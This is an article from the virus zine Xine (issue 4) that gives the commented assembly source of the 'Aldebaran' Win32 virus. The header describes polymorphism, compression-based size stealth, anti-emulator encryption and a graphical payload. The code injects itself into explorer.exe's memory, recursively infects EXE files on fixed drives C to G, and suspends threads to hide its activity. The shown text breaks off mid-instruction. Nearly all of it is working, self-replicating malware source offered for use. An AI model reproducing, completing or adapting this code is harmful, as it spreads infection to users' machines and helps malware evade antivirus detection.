/-----------------------------\ | Xine - issue #4 - Phile 203 | \-----------------------------/ ; ; The Aldebaran virus - written by T00FiC - poly from Bozo ; ; tanks goes to Ska and Zombie ; ; ; This virus wasn't previewved for xine4, but as old dirty bastard I'm, I ; tryed to finish it a bit in hurry. I tested and retested it and it seems to ; work. It have a small lack of optimization ; ; Caracteristic: Win32 Multithread PerProcess/Memory Resident Polymorphic ; size-stealth virus (with graphical payload :] ) ; size about +10 Ko... (I tought to add some mp3 to my virus to beat vecna ; viruses size :) ; ; Multithread: In order to hide activity to the user, the virus recreate ; the original task. And when infecting and when the delicate part of writing ; datas to the host come. It stop the other thread, so the user is not able ; to close the process until the infection was securely done. The virus also ; delay a few seconds before infecting file, to make himself hidden and don't ; eat all the machines ressources... ; ; Residency: This is aslo an important point of this virus. On win32 machines, ; the virus start, infect 5 file in current directory and 5 file on windows ; directory and then stop. But on Windows9x specific machine, the virus is ; able to use specific apis used for patching/debugging other process. So ; the virus look for explorer.exe loaded in memory. Map the file, detect api ; export list and a viable location to put a mini stub loader. So, when ; explorer run the SendMessageA api (it does it all the time EXCEPT under dos ; boxes), the stub allocate memory and create a thread. This thread is owned ; by Explorer.exe. The virus then read memory location and drop over the ; explorer memory the virus body. Then the created stub run and init the ; memory resident routine. It bascially scan recursively each directory ; on fixed disk from C to G (It tryed also to infect my network harddrive :) ; ; Polymorphism: Polymorphism was done by Bozo, it was the main idea and ; original idea of this virus: Create a small (he was small) virus to use ; the bozo poly engine. Now the Polymorphism is used as end user encryption. ; It's I think the strongest and much hard to detect encryption loop this ; virus have. The poly random is based on the original host compression rate ; (I will explain later) ; ; Size stealth: This virus don't use as some poeple call it the 29A ; technique (I find saying that's my technique is dork, so I could say ace ; archive infection is the IKX technique, that way of finding kernel is IKX ; technique blablabla). The virus look if entrypoint point to code (to avoid ; binray compressed) then he run over there. Look if there's enough ; place in the section, if the distance from the section and the entrypoint ; is big enough and then calculate where/how much/what it will have to ; compress. Compression use a basic huffman compression done in about 600 ; byte. So it have to decompress at running, and this take a lot of time and ; code are saying saying ? Noooo, it just take 100 byte and 84 milisecond on ; my old ready-to-infect P133 computer to decompress. The virus have to ; allocate memory, so to this 100 is added 300 or 400 byte for seh handling, ; kernel locator, apis finding, priority process manager. ; Note: The virus is encrypted in 8 bit without saving the key but it will ; have to test each keys, to annoy emulator, the virus allocate huge memory ; to drop decompressed datas and run over there his decryption routine. So I ; wonder how they will take this virus... Okay, 8 bit suck, avers have just ; to test every 8 bit possibility, no that's wrong, they have to test ALL ; the algortihm because the key is sliding and changing each loop, (I put ; the needed datas to be decrypted on the end of decryption buffer) so they ; have to decrypt/reencrypt each time the data. making about 10000 loops on ; each keys, good luck guys.... ; ; Second note: look how is stored original enrtypoint: 1st, it's encrypted ; without saving the key, secondly, it's compressed with virus in the original ; ready to be compressed buffer. Third, it's encrypted using the complex ; polymorphic engine of Bozo.I like to read that 3 sentences again and again... ; ; Payload: I wish you will appreciate it ; ; There's also some thing to say on this virus. It's a bit based on axelle and ; voodoo technologies for base. The main infection concept is based on ; old ariannes viruses family using old fashioned write and close apis... ; ; There's so much to say over this virus, stop blabla, and look code... ; .386 .model flat,stdcall extrn ExitProcess:Proc extrn Sleep:Proc .data dw ? .code Host: xor ebp,ebp jmp Init0 ; fake virus initialization pseudohost: push 10000 ; you should put it call Sleep ; let virus time to infect call ExitProcess ; boooooooooooom -( start: call getdelta getdelta: pop ebp sub ebp,offset getdelta ; now we have delta push ecx RDAE: xor edx,edx RDAE1: mov ecx,pseudofin-StartCrypt lea esi,[ebp+StartCrypt] ; pseudo decryptor push edx RDAE2: sub byte ptr [esi],dl sub dl,99 xor byte ptr [esi],dl xor dl,25 inc esi loop RDAE2 ; loop my son, loop... dec esi cmp dword ptr [esi-3],'nara' ; check for jne RDAE4 ; Aldebaran cmp dword ptr [ebp+StartCrypt],'xkI0' ; check for je RDAE5 ; 1st dword RDAE4: mov ecx,pseudofin-StartCrypt RDAE3: xor dl,25 ; reencrypt it xor byte ptr [esi],dl ; if it was add dl,99 ; wrong add byte ptr [esi],dl dec esi loop RDAE3 pop edx inc edx jmp RDAE1 StartCrypt: db '0Ikx' Restore: dd 0 Return: dd offset pseudohost backdata: dd 0 RDAE5: Init: pop edx ; we got it pop ecx ; now restore host lea esi,[ebp+pseudofin] mov edi,dword ptr [ebp+Restore] repz movsb ; blablabla Init0: mov dword ptr [ebp+LoadLibraryA],0 lea edx,[ebp+returnapis] ; init apis mov ecx,255 mov edi,edx xor eax,eax repz stosb ; clear the api return ; zone, we want fresh lea eax,[ebp+getapis] ; datas call initapi mov eax,dword ptr [ebp+Return] mov dword ptr [ebp+ReturnTemp],eax ; mov dword ptr [ebp+LoadLibraryA],0 ; force Load ; library again later... mov eax,85000 call alloc ; for compression mov dword ptr [ebp+databuffer],eax mov eax,85000 call alloc ; double buffer, I ; like them :P mov dword ptr [ebp+compressbuffer],eax lea eax,dword ptr [ebp+File_Data] push eax call dword ptr [ebp+GetSystemTime] ; check for payload ; activation ... cmp word ptr [ebp+File_Data+2],8 jne nopayload cmp word ptr [ebp+File_Data+6],5 ; each 5 august jne nopayload call payload nopayload: push eax push esp push 0 push 0 push dword ptr [ebp+ReturnTemp] push 0 push 0 call dword ptr [ebp+CreateThread] ; create the other ; original thread mov dword ptr [ebp+ForeignThread],eax pop eax call Residency1 ; install memory ; 1st time mov byte ptr [ebp+checkflag],0 push edx push esp push 0 push 0 lea edx,[ebp+Goresidency2] push edx push 0 push 0 call dword ptr [ebp+CreateThread] ; create forcing 2nd ; time pop eax cmp byte ptr [ebp+reserror],5 ; go to end je skipinfect mainbody: mov byte ptr [ebp+treeflag],1 mov byte ptr [ebp+stopflag],1 mov byte ptr [ebp+maxinfect],6 mov byte ptr [ebp+countinfect],0 mov word ptr [ebp+waitscan],250 ; init infection ; procedure type ; a bit slow to don't ; perturb the process Infectdirs: ; ; This routine is the unique residency on winNT ; mov byte ptr [ebp+treeflag],1 lea eax,[ebp+originaldir] push eax push 512 call dword ptr [ebp+GetCurrentDirectoryA] ; kill the directory call Killdir lea eax,[ebp+originaldir] ; this is dangerous push eax ; I wont like running push 512 ; this routine call dword ptr [ebp+GetWindowsDirectoryA] ; kill windows directory call Killdir fini: skipinfect: mov eax,dword ptr [ebp+databuffer] call Delloc mov eax,dword ptr [ebp+compressbuffer] call Delloc cmp byte ptr [ebp+checkflag],1 push 0 push 4000h ; mem decommit push 0 ; size lea eax,[ebp+start] push eax push dword ptr [ebp+ExitThread] ; the death row.... jmp dword ptr [ebp+VirtualFree] ; in fact, ; it's virtual free Goresidency2: call getdel push 2000 call dword ptr [ebp+Sleep0] ; wait 2 sec call Residency2 ; then install memory mov byte ptr [ebp+checkflag],1 push 0 call dword ptr [ebp+ExitThread] ; boom biddy byebye residencystart: call getdel ; this is main thread code ; when we are TSR lea edx,[ebp+returnapis] mov ecx,255 mov edi,edx xor eax,eax repz stosb ; this is done lea eax,[ebp+getapis] call initapi ; we got it mov byte ptr [ebp+maxinfect],1 mov byte ptr [ebp+countinfect],0 mov word ptr [ebp+waitscan],25 ; set maximum free mov byte ptr [ebp+stopflag],0 mov byte ptr [ebp+treeflag],0 mov eax,85000 ; eh, realloc for vir. call alloc mov dword ptr [ebp+databuffer],eax mov eax,85000 call alloc ; realloc mov dword ptr [ebp+compressbuffer],eax mov byte ptr [ebp+treeflag],0 mov dword ptr [ebp+originaldir],'\:C' ;infect all C: killthatdir: call Killdir ; hohoho includeme: inc byte ptr [ebp+originaldir] mov byte ptr [ebp+originaldir+3],0 cmp byte ptr [ebp+originaldir],'G' ja finishthread ; infect until ; G: lea eax,dword ptr [ebp+originaldir] push eax call dword ptr [ebp+GetDriveTypeA] ; Get the ; drive type cmp eax,3 jne includeme ; don't touch ; cdroms or such jmp killthatdir finishthread: jmp finishthread ; endless jump startapis: StubLoader: call getdel2 getdel2: pop ebp cld sub ebp,offset getdel2 lea eax,[ebp+getapis1] lea edx,[ebp+returnapi1] ; mini stub ; loader call initapi ; init apis call dword ptr [ebp+GetCurrentProcess0] push eax push 100h push eax push eax call dword ptr [ebp+GetPriorityClass0] mov dword ptr [ebp+originalpriority],eax call dword ptr [ebp+SetPriorityClass0] ; set priority mov eax,dword ptr [ebp+finloader+1] push eax ; get memory ; from small push 40h ; compressed push 00100000h or 1000h or 2000h ; header... add eax,0111b and eax,-111b push eax push 0 call dword ptr [ebp+GlobalAlloc0] ; allocate ; memory mov edi,eax lea esi,[ebp+finloader] ; okay, do it push edi push ebp UnDkCMP: cmp byte ptr [esi],'h' ; check if okay jne thenbad push dword ptr [esi+1] movzx ecx,word ptr [esi+5] ; xor edx,edx ; donc annoy edx mov eax,4 ; so eax = ecx * 4 mul ecx ; we need to keep ; ecx lea ebp,[esi+7] ; setting correspond. lea esi,[esi+eax+9] ; setting where data ; begin detectall: pop ecx xor edx,edx ; edx = current byte value starloop: xor ebx,ebx xor dh,dh ; start, nullify these highloop: push ecx push ebp highloop2: mov ecx,7 ; number of time ; looping wefoundit: cmp dl,8 jb dontresetcounter ; end of ascii ; inc esi ; get next xor dl,dl dontresetcounter: sub cl,dl ; then we get lodsb dec esi ; here the actual ror al,cl ; value of the bits and al,1 ; and concatenate it rol bx,1 ; with a bit buffer xor ah,ah ; placed in a regist. add bx,ax inc edx inc dh xor ecx,ecx ; reset ecx thengetnext: cmp dh,byte ptr [ebp+1] jb highloop2 ; don't check all the ; three cmp dh,byte ptr [ebp+1] ; is this size equal? jne w0comehere cmp bx,word ptr [ebp+2] ; is this byte equal? je wefoundit0 w0comehere: add ebp,4 ; if not scan next inc ecx cmp word ptr [ebp],-1 ; if end of corresp. jne thengetnext ; then it's not returnme: pop ebp ; reset ebp to push ebp ; start of correspond. jmp highloop2 ; complete ascii... wefoundit0: mov al,byte ptr [ebp] ; else we got it! ; and then change it ; to ascii pop ebp ; restore data for pop ecx ; next loop stosb ; push byte loop starloop ; decompression finished ! thenbad: pop ebp pop eax pop ecx sub ecx,pseudofin-start ; setting value for pop edx ; returning push eax push ecx push dword ptr [ebp+originalpriority] push edx call dword ptr [ebp+SetPriorityClass0] ; refix priorities pop ecx pop eax jmp eax ; run virus now ; ; This is a multiDLL reactor, it comes from the version 2 of the reactor in ; arianne, hope you enjoy the code! This is version 3b coz it's specialy ; designed for DrGreenThumb 2. ; ; Version 3b: Thatsokaynow ; Version 3: Multiple DLL scanning ; PseudoImportZone(tm) created ; Minor changes, large instructions revised and redefined structure ; Version 2: Uses ZeroCRCs ; Only one loop used ; NT/95/98 compatible ; some bugs fixed, structure change, one loop, time gain ; Version 1: First prototype - Pretty small ; initapi: mov esi,eax ; point to the mini push esi ; import dothescanner: inc esi cmp byte ptr [esi],-1 ; check if we reached jne dothescanner ; end of mini import inc esi sub edx,esi mov dword ptr [ebp+Thisoffset],edx ; so this is for fixing sub esi,4 ; a problem of using mov dword ptr [ebp+Thisoffset2],esi ; too much register pop esi ; for finding apis ; I should optimizate dothatnow: ; ... a day... cmp byte ptr [esi],0FFh ; we reached end ok... jne letscontinue ret letscontinue: mov ebx,esi scannext: inc esi cmp byte ptr [esi-1],'.' ; look for . separating jne scannext ; library names push esi push dword ptr [esi] ; avoid push esi ; overwriting mov dword ptr [esi],'lld' ; so set dll name push ebx cmp byte ptr [ebp+stubtest],1 ; this is for avoiding je gotherenow ; 1st loop cmp byte ptr [ebp+LoadLibraryA],0 ; so we get this api jne dontinitit gotherenow: GetHardKernel: pushad mov dword ptr [ebp+stackrejust],esp ; we have to save stack call SaveSEH ; coz seh crash it lea eax,[ebp+kntestnext1] ; we fix seh to next call SetSEH ; scan procedure cmp word ptr cs:[07fe00000h],'ZM' ; check for win2K kernel but jne kntestnext1 ; does it will works anyway ??? mov eax,07fe00000h jmp wefound1 ; that's okay stackrejust: dd 0 kntestnext1: lea eax,[ebp+kntestnext2] ; set stack to next kernel call SetSEH cmp word ptr cs:[07ff00000h],'ZM' ; this should be Nt Kernel jne kntestnext2 mov eax,07ff00000h jmp wefound1 kntestnext2: lea eax,[ebp+kntestnext4] ; set SEH to crash procedure call SetSEH ; okay, it's lame coding... cmp word ptr cs:[0BFF70000h],'ZM' ; check Win9x kernel jne kntestnext4 ; this mov eax,0bff70000h jmp wefound1 kntestnext4: call RestoreSEH mov word ptr cs:[0BFF70000h],500 ; this program made an ; exception blablabla wefound1: call RestoreSEH ; now we restore the old SEH mov esp,dword ptr [ebp+stackrejust] ; reajust stack mov dword ptr [esp+20h-4],eax ; save eax popad ; and reset stack pop ebx ; we got in eax the kernel jmp wefound ; location dontinitit: call dword ptr [ebp+LoadLibraryA] ; get apis adress wefound: cmp eax,-1 ; error, erm bye... jne itsokay1 pop esi ret itsokay1: mov edi,eax pop esi pop dword ptr [esi] mov ebx,dword ptr [edi+3Ch] add ebx,edi ; ebx point to the PE header ; In fact it's allways PE ; I skiped the MZ and PE ; signature check coz if it's ; not, Kernel can't be loaded :] mov esi,dword ptr [ebx+120] ; esi point to the Export lea esi,[esi+edi] ; zone mov ecx,dword ptr [esi+24] ; ecx = number of export mov ebx,dword ptr [esi+32] ; ebx point to the name offset add ebx,edi ; table push ebp ; mov ebp,offset startapis db 0bdh Thisoffset2: dd 0h Scanstring: mov edx,dword ptr [ebx] ; edi point to the 1st add edx,edi ; name loophere: pushad mov eax,dword ptr [esi+24] sub eax,ecx shl eax,2 ; we have to search apis lea edx,[ebx+eax] ; by ordinal/names mov edx,[edx] ; coz NT have some disachronism add edx,edi ; name in table is not the ; same that follow each other push ecx xor eax,eax xor ecx,ecx mov al,byte ptr [edx] getnamecrc: mov cl,byte ptr [edx] ; this is really small crc test ecx,ecx ; untill now, I never had jz test_crcs ; confusion between them rol eax,3 ; a just small nice algorithm xor eax,ecx inc edx jmp getnamecrc ; enjoy guys... test_crcs: pop ecx inc edx testnext: add ebp,4 cmp byte ptr [ebp],-1 ; we reached end of list ? je suither ; boom biddy byebye cmp dword ptr [ebp],eax jne testnext ; if crc in list = calculated ; no, then byebye getrva: mov ebx,dword ptr [esi+24] ; we get apis number sub ebx,ecx ; sub number of loop we done shl ebx,1 ; got in ebx the apis ordin. add ebx,dword ptr [esi+36] ; table RVA add ebx,edi ; Add Rva xor eax,eax ; seems to be okie! mov ax,word ptr [ebx] ; shl eax,2 ; damn, I forgot the meaning ; of all that add eax,dword ptr [esi+28] ; shame on me... add eax,edi mov eax,dword ptr [eax] add eax,edi dec ebx ; we saved it now ; add ebp,offset startlist-startapis db 081h db 0c5h Thisoffset: dd 0h mov dword ptr [ebp],eax suither: popad loop loophere ; loop until all apis are scanned pop ebp pop esi jmp dothatnow ; return SaveSEH: push eax mov eax,dword ptr fs:[0] mov dword ptr [ebp+backup],eax ; save last SEH pop eax ret RestoreSEH: push eax mov eax,dword ptr [ebp+backup] mov dword ptr fs:[0],eax ; restore last SEH pop eax ret SetSEH: push eax mov dword ptr [ebp+TemporarySEH+8],eax lea eax,[ebp+BackNow] mov dword ptr [ebp+TemporarySEH+4],eax lea eax,[ebp+TemporarySEH] mov dword ptr fs:[0],eax ; now we set the SEH pop eax ret BackNow: ; here we get call getpseudodelta getpseudodelta: pop ebp sub ebp,offset getpseudodelta ; take again the delta, ; grrr, f- ms programmers push dword ptr [ebp+TemporarySEH+8] ; and then back now! ret backup: dd 0 TemporarySEH: ; our SEH... dd 0 dd 0 dd 0 originalpriority: dd 0 getapis1: db 'KERNEL32.' db -1 dd 0ab16d5ceh dd 0cb8d7a80h dd 046863856h dd 04690b856h db -1 stubtest: db 0 returnapi1: GlobalAlloc0: dd 0 GetCurrentProcess0: dd 0 GetPriorityClass0: dd 0 SetPriorityClass0: dd 0 FinStub: finloader: ; ; File Action API interface Note, I could remplace that by big flat ; true win32 file apis but I don't want to... ; Open_file: push 2 ; iReadWrite = OF_READWRITE lea eax,[ebp+workingdir] ; point to the name datas push eax Call dword ptr [ebp+Lopen] ; open the file mov dword ptr [ebp+FileHandle],eax inc eax ret Close_file: push dword ptr [ebp+FileHandle] ; close the file call dword ptr [ebp+Lclose] ret Write_file: push ecx push edx push dword ptr [ebp+FileHandle] ; Write in the file call dword ptr [ebp+Lwrite] ret Read_file: push ecx push edx push dword ptr [ebp+FileHandle] ; Read in the file call dword ptr [ebp+Lread] ret Seek_file: push 0 push edx push dword ptr [ebp+FileHandle] ; Seek in the file call dword ptr [ebp+Llseek] ret alloc: MemAlloc: ; Reviewved for nties compatib. push 40h push 00100000h or 1000h or 2000h add eax,0111b and eax,-111b push eax push 0 call dword ptr [ebp+VirtualAlloc] ; just allocating... cmp eax,0 jne Allocitsokay inc eax inc eax add eax,-1 Allocitsokay: ret Delloc: push 4000h ; mem decommit push 0 ; size push eax call dword ptr [ebp+VirtualFree] ret InitCritical: pushad cmp byte ptr [ebp+stopflag],1 je skipinf push dword ptr [ebp+ForeignThread] call dword ptr [ebp+SuspendThread] ; okay stop task ; bastard.... skipinf: popad ret LeaveCritical: pushad cmp byte ptr [ebp+stopflag],1 ; depend on resident or not je skipinf push dword ptr [ebp+ForeignThread] call dword ptr [ebp+ResumeThread] ; and then recreate it popad ret stopflag: db 0 Residency1: pushad mov byte ptr [ebp+reserror],0 ; byebye mov eax,dword ptr [ebp+VirtualAlloc] mov dword ptr [ebp+VirtualAllocT],eax ; preset these apis mov eax,dword ptr [ebp+CreateThread] mov dword ptr [ebp+CreateThreadT],eax ; for remote residency cmp dword ptr [ebp+CreateToolhelp32Snapshot],0 ; set NT compatibilty je fini001 push 0 push 0Fh call dword ptr [ebp+CreateToolhelp32Snapshot] ;exist only under win9x push eax lea edx,dword ptr [ebp+datadummy] ; how much datas in mov dword ptr [edx],1024 ; buffer push edx push eax call dword ptr [ebp+Process32First] ; get 1st process in ; mem infos testnext5: lea edi,[ebp+datadummy+24h] mov ecx,255 push ecx ; ; This could be applied to everything, and you could patch every programs ; checkthat: cmp dword ptr [ecx+edi],'LPXE' ; check explorer.exe ? je wefoundit5 loop checkthat pop ecx push ecx checkthat2: cmp dword ptr [ecx+edi],'lpxe' ; explorer je wefoundit5 loop checkthat2 pop ecx backhere: pop eax push eax lea edx,dword ptr [ebp+datadummy] ;mov dword ptr [edx],1024 ; ms programmers are clown... push edx push eax call dword ptr [ebp+Process32Next] ; get next process in mem cmp eax,0 jne testnext5 ; no explorer in memory ??? ; hahahaha fini0: pop eax fini001: movzx eax,byte ptr [ebp+reserror] ; come back! mov dword ptr [esp+20h-4],eax popad ret ; Exit code 0 wefoundit5: pop eax mov eax,dword ptr [ebp+datadummy+8] push eax ; what we want push 0 push 01f0fffh ; all right value, Tanx to peon call dword ptr [ebp+OpenProcess] mov dword ptr [ebp+processid],eax ; we got the process handle push 0 push edi call dword ptr [ebp+Lopen] ; going to open the explorer mov dword ptr [ebp+FileHandle],eax ; and going to map it push eax push 0 push eax call dword ptr [ebp+GetFileSize] pop edx push eax push 0 push eax push 0 push 02h push 0 push edx call dword ptr [ebp+CreateFileMappingA] ; this long procedure is boring mov dword ptr [ebp+MapHandle],eax push 0 push 0 push 4h push eax call dword ptr [ebp+MapViewOfFile] mov dword ptr [ebp+MapHandle1],eax ; okay now it's ampped mov esi,eax mov edi,dword ptr [esi+03ch] ; get PE blablabla add edi,esi mov eax,dword ptr [edi+0F8h+40+8] add eax,dword ptr [edi+0F8h+40+12] ; get look if there's dead rooms ; in PE memory cmp eax,dword ptr [edi+0f8h+40+40+12] ; there should be , memory jae skiploading ; is rounded by minimum 4K of ; mem on intel compus add eax,dword ptr [edi+52] mov dword ptr [ebp+Ourmemory],eax ; we got memomry mov eax,dword ptr [edi+128] call RVA2Offset ; now we scan the import lea edx,[eax-20] scannexta: add edx,20 mov eax,dword ptr [edx+12] cmp eax,0 je skiploading call RVA2Offset ; we get adress name cmp dword ptr [eax],'RESU' ; check user32.dll je wegotitit cmp dword ptr [eax],'resu' jne scannexta wegotitit: mov eax,dword ptr [edx] ; and then we look call RVA2Offset ; for api import list mov ebx,eax xor ecx,ecx sub ecx,4 ; and make a loop to do boucleme: add ecx,4 mov eax,dword ptr [ebx+ecx] cmp eax,0 je skiploading call RVA2Offset cmp dword ptr [eax+2],'dneS' ; jne boucleme cmp dword ptr [eax+2+4],'sseM' jne boucleme cmp dword ptr [eax+2+8],'Aega' ; looking For SendMessageA jne boucleme mov dword ptr [ebp+checktest],0 ; intenal flag add ecx,dword ptr [edx+16] ; we got the rva of ; the api!!! add ecx,dword ptr [edi+52] mov dword ptr [ebp+PseudoData+12],ecx ; okay, then we save it lea edx,dword ptr [ebp+PseudoData] push edx ; NumbWrite push 4 lea edx,dword ptr [ebp+Pseudoreturn] push edx ; Buffer push ecx ; process base mov eax,dword ptr [ebp+processid] push eax ; processID call dword ptr [ebp+ReadProcessMemory] ; check for residency inc byte ptr [ebp+reserror] cmp dword ptr [ebp+Pseudoreturn],80000000h jb skiploading2 ; we are resident! lea edx,dword ptr [ebp+PseudoData] push edx ; NumbWrite push finannoy-AnnoyingCode lea edx,dword ptr [ebp+AnnoyingCode] push edx ; Buffer push dword ptr [ebp+Ourmemory] ; process base mov eax,dword ptr [ebp+processid] push eax ; processID call dword ptr [ebp+WriteProcessMemory] ; save our gotta resident code lea edx,dword ptr [ebp+PseudoData] push edx ; NumbWrite push 4 lea edx,dword ptr [ebp+Ourmemory] push edx ; Buffer push dword ptr [ebp+PseudoData+12] ; process base mov eax,dword ptr [ebp+processid] push eax ; processID call dword ptr [ebp+WriteProcessMemory] ; WE ARE GOING TSR -) ; ; running the remote thread ,but how ; skiploading: call Close_file ; that's lame, I didn't unmaped jmp fini0 ; the file, but who care ? skiploading2: call Residency2 ; we where loaded in explorer jmp skiploading ; mem, so do it AnnoyingCode: fakejump: db 68h Pseudoreturn: dd 0h ; push apis offset retback: nop pushad call getdel ; get delta pointer mov byte ptr [ebp+retback],0C3h ; lock api access push 40h push 00100000h or 1000h or 2000h push (((fin-start)+0111b) and 11111111111111111111111111111000b) push 0 call dword ptr [ebp+VirtualAllocT] ; allocate memory mov dword ptr [ebp+checktest],eax mov dword ptr [ebp+checktest2],eax mov byte ptr [eax],0C3h push eax push esp push 0 push 0 lea eax,[ebp+Loadingresult] push eax push 0 push 0 call dword ptr [ebp+CreateThreadT] ; creating our task pop eax popad ret getdel: call GetMeThere GetMeThere: pop ebp sub ebp,offset GetMeThere ret Loadingresult: call getdel ; this task wait for memory transerf ; work like a benny's fiber but wait mov eax,dword ptr [ebp+checktest2] ; for both ; part to start testme: cmp dword ptr [ebp+checktest],'yakO' ; Okay jne testme add eax,residencystart-start jmp eax ; here we go checktest: dd 0 ; memory allocated ? checktest2: dd 0 ; virus transfered ? ; -> Thread begin CreateThreadT: dd 0 ; yeeeeeeeeepeee VirtualAllocT: dd 0 finannoy: RVA2Offset: ; this routine ; is supposed to pushad ; transfer RVA to ; an offset in memory lea edx,[edi+0F8h] ; map, usefull to play sub edx,40 ; with loaded process ; with only disk scannext99: ; image add edx,40 ; it's a bit based on mov ebx,dword ptr [edx+12] ; axelle virus mov ecx,ebx add ecx,dword ptr [edx+16] cmp ebx,0 je fino cmp eax,ebx jb scannext99 cmp eax,ecx ja scannext99 sub eax,ebx add eax,dword ptr [edx+20] add eax,esi mov dword ptr [esp+20h-4],eax popad ret fino: mov dword ptr [esp+20h-4],0 popad ret Residency2: ; I'm sad like hell today ; I feel bad like I never felt pushad ; bad.... cmp byte ptr [ebp+reserror],0 je finishcheckres cmp byte ptr [ebp+reserror],5 je finishcheckres call InitCritical ; we don't want ; to be perturbed ; during the operation lea edx,dword ptr [ebp+PseudoData] push edx ; NumbWrite push 4 lea edx,dword ptr [ebp+Pseudoreturn] push edx ; Buffer mov ecx,dword ptr [ebp+Ourmemory] add ecx,checktest-AnnoyingCode push ecx ; process base mov eax,dword ptr [ebp+processid] push eax ; processID call dword ptr [ebp+ReadProcessMemory] cmp dword ptr [ebp+Pseudoreturn],0 je finishcheckresb cmp dword ptr [ebp+Pseudoreturn],'yakO' je finishcheckresb lea edx,dword ptr [ebp+PseudoData] push edx ; NumbWrite push pseudofin-start lea edx,dword ptr [ebp+start] push edx ; Buffer push dword ptr [ebp+Pseudoreturn] mov eax,dword ptr [ebp+processid] push eax ; processID call dword ptr [ebp+WriteProcessMemory] lea edx,dword ptr [ebp+PseudoData] push edx ; NumbWrite push 4 lea edx,dword ptr [ebp+moins1] push edx ; Buffer mov ecx,dword ptr [ebp+Ourmemory] add ecx,checktest-AnnoyingCode push ecx mov eax,dword ptr [ebp+processid] push eax ; processID call dword ptr [ebp+WriteProcessMemory] finishcheckresb: call LeaveCritical mov byte ptr [ebp+reserror],5 ; okay all done ;) finishcheckres: popad ret moins1: db 'Okay' ; ; That's funny dir killer, I should rewrite Voodoo with it, it's much powerfull ; and smaller ; Killdir: mov dword ptr [ebp+numbscan],0 ; mmm for speed ; restriction lea eax,[ebp+originaldir] call makescandir ; we put *.* lea eax,[ebp+filedata] push eax lea eax,[ebp+originaldir] push eax call dword ptr [ebp+FindFirstFileA] ; look 1st File cmp eax,0 je finishattack ; error (that shouldn't ; arrive) ? close... push eax findnextfileA: cmp byte ptr [ebp+filedata+2Ch],'.' ; check if . or .. je willbeback ; go away inc byte ptr [ebp+numbscan] ; then go away cmp byte ptr [ebp+numbscan],5 ; each 5 file scanned jb donpanic ; then wait a bit ; make scan invisble movzx eax,word ptr [ebp+waitscan] ; so wait waitscan push eax ; value (depends on call dword ptr [ebp+Sleep0] ; residency) mov byte ptr [ebp+numbscan],0 donpanic: mov eax,dword ptr [ebp+filedata] ; check if directory and eax,16 cmp eax,16 jne attackfile ; yeah? Okay, fine ; attack this sub call KillSubDir ; bastard!!! jmp willbeback attackfile: call checkext ; check if this is exe file cmp eax,'exe' ; is this an exe file jne attackfile2 ; (I don't want to annoy ; DLL or CPL or OCX,I'm just ; a relax virus writer...) call Open_file ; open file ; ; This is an old-school infection method, it don't need to map the file into ; memory, but jusk seek-write-read and could be used by readaptating the ; following routine to dos compatibility: ; Seek_file Location=edx ; Read_file Buffer=edx Length=ecx ; Write_file Buffer=edx Length=ecx ; ; It's basically designed for infecting PE :) Infection: ; Pseudo :] mov dl,byte ptr [ebp+infcount] cmp byte ptr [ebp+maxinf],dl ; we can't infect ; too much in mov edx,03ch ; per process mode call Seek_file mov ecx,04h ; read if it's PE lea edx,[ebp+ReadyForHost] call Read_file mov edx,dword ptr [ebp+ReadyForHost] ; seek push edx mov dword ptr [ebp+HeaderOffset],edx call Seek_file ; mov ecx,(4096/2)+0f8h lea edx,[ebp+ReadyForHost] ; call Read_file ; so we read needed pop edx ; infos from file cmp word ptr [ebp+ReadyForHost],'EP' ; PE signature jne CloseFile ; check cmp word ptr [ebp+ReadyForHost+66],'0s' ; test if we are there je CloseFile ; Checksum, should mov word ptr [ebp+ReadyForHost+66],'0s' ; remove that lea edx,[ebp+ReadyForHost] ; mov dword ptr [edx+160],0 ; reset fixups mov dword ptr [edx+164],0 movzx ecx,word ptr [edx+6] lea eax,[edx+0F8h] ; this start of ; section entry nullifyreloc: ; should have to ; modify that a day mov dword ptr [eax+24],0 mov dword ptr [eax+28],0 ; and sections mov dword ptr [eax+32],0 ; reseting fixups add eax,40 loop nullifyreloc ; go away reloc, bad ; nightmare mov ecx,dword ptr [ebp+ReadyForHost+40] ; saving entrypoint mov esi,ecx add esi,dword ptr [ebp+ReadyForHost+52] ; and get memory adres mov dword ptr [ebp+Return],esi ; storing esi mov dword ptr [ebp+Restore],esi ; storing esi again lea esi,[ebp+ReadyForHost+0f8h] ; start of 1st ; section mov eax,dword ptr [esi+12] ; look for eax mov edx,eax add edx,dword ptr [esi+16] ; and edx cmp ecx,eax ; check if entrypoint jb CloseFile ; <> code cmp ecx,edx ja CloseFile ;then we have compress. ; file or dword ptr [esi+36],080000000h cmp dword ptr [esi+16],75000 ; look if big enough jb infectionmethod2 ; some PE are 4 megs ; ie: FF7 executable ; if so then compress ; partially mov eax,dword ptr [esi+12] add eax,dword ptr [esi+8] sub eax,ecx ; now check if EP ; - codesection is cmp eax,75000 ; smaller, so we jb infectionmethod3 ; will have to fix that ; too sub ecx,dword ptr [esi+12] add ecx,dword ptr [esi+20] ; okay all right ; proceed compression mov dword ptr [ebp+FileOffset],ecx mov edx,ecx push edx call Seek_file ; going to entry offset pop edx ; set size as encrypt ; val :) call DropcryptedVirus ; make a encrypted ver. mov ecx,75000 ; set how much to ; compress Compresslookup: ; generic infection method push ecx ; mov dword ptr [ebp+TakenByte],ecx ; save crypted virus to call DropcryptedVirus ; buffer mov edx,edi pop ecx push ecx call Read_file ; read how much byte to compres mov edi,dword ptr [ebp+compressbuffer] call DropStubLoader ; then put the decompression ; stub (about 500 bytes) ; (it have to alloc/init find kernel, apis..) pop ecx add ecx,pseudofin-start ; so compress virus mov esi,dword ptr [ebp+databuffer] ; call DarkCMP mov dword ptr [ebp+seed],ecx ; randomizing decryptors :) cmp ecx,dword ptr [ebp+TakenByte] ; look how much compression jb CloseFile ; we got if > ? mov byte ptr [ebp+numberloop],0 ; reset number of algorithm lea ecx,[edi+eax] ; fuck, can't remember why ; I did this instruction push edi push esi push ecx Checknext: pop ecx pop esi pop edi push edi push esi push ecx inc byte ptr [ebp+numberloop] ; make 1 more algos... sub dword ptr [ebp+seed],esi ; making allways and dword ptr [ebp+seed],0FFFFFh ; get all this number ; of possible number push ebp mov esi,dword ptr [ebp+compressbuffer] ; so now make poly of mov edi,dword ptr [ebp+databuffer] ; it mov ebp,dword ptr [ebp+Restore] ; set where poly will sub ecx,esi ; be in memory call poly ; poly this pop ebp cmp byte ptr [ebp+numberloop],10 ; we reached the end ja CloseFile0 ; without finding good cmp ecx,dword ptr [ebp+TakenByte] ; compression algos ? ja Checknext pop eax pop eax pop eax ; stack reajustement call 